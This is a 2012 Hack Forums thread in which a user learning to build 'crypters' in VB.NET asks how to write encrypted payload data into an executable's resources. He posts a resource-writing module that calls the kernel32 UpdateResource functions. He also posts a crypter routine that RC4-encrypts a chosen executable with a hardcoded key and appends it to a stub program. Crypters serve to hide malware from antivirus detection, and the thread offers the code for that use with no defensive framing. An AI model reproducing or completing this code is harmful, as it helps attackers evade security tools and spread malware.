

## Forum:[Hack Forums](#)

Thread: [Need urgent!help with Writing Resource \(API\), not Project Resource.](#)

**Burhan.Raxa** - April 14, 2012, 1:29 pm

Hello HF.

I already searched the forum, I did use google as well.

I'm learning about crypter's coded in vb.net.

I'm currently experimenting on this crypter called "1 Scantime Crypter".

All I want to know, how to write the output Data into Resource?

here is the code I got from the very same forum, I'm not sure but I guess it belongs to "Deathader"

and below it is the crypter code.

my only question, how to write data into resources?

any kind of help will be greatly appreciated ?

Resource API:

Spoiler ([Click to View](#))

Imports System.Runtime.InteropServices

Module ResourceWriter

Private Function ToPtr(ByVal data As Object) As IntPtr

Dim h As GCHandle = GCHandle.Alloc(data, GCHandleType.Pinned)

Dim ptr As IntPtr

Try

ptr = h.AddrOfPinnedObject()

Finally

h.Free()

End Try

Return ptr

End Function

<DllImport("kernel32.dll", SetLastError:=True)>

Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger) As Boolean

End Function

<DllImport("kernel32.dll", SetLastError:=True)>

Private Function BeginUpdateResource(ByVal pFileName As String, <MarshalAs(UnmanagedType.Bool)> ByVal bDeleteExistingResources As Boolean) As IntPtr

End Function

<DllImport("kernel32.dll", SetLastError:=True)> \_

Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As Boolean

End Function

Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean

Try

Dim handle As IntPtr = BeginUpdateResource(filename, False)

Dim file1 As Byte() = bytes

Dim fileptr As IntPtr = ToPtr(file1)

```

    Dim res As Boolean = UpdateResource(handle, "RCDATA", "1", 0, fileptr,
Convert.ToUInt32(file1.Length))
    EndUpdateResource(handle, False)
    Catch ex As Exception
    Return False
End Try
Return True
End Function
End Module

```

Crypter :

Spoiler ([Click to View](#))

```

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
    Dim filein, filename, stub As String
    Dim sfd As New SaveFileDialog
    If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
        filename = sfd.FileName
    Else : Exit Sub
    End If
    FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    filein = Space(LOF(1))
    FileGet(1, filein)
    FileClose(1)
    FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read,
OpenShare.Default)
    stub = Space(LOF(1))
    FileGet(1, stub)
    FileClose(1)
    FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FilePut(1, stub & filesplit & rc4(filein, "MyBigAssDrunkenPassword"))
    FileClose(1)
    MsgBox("Crypted")
    Me.Close()
End Sub

```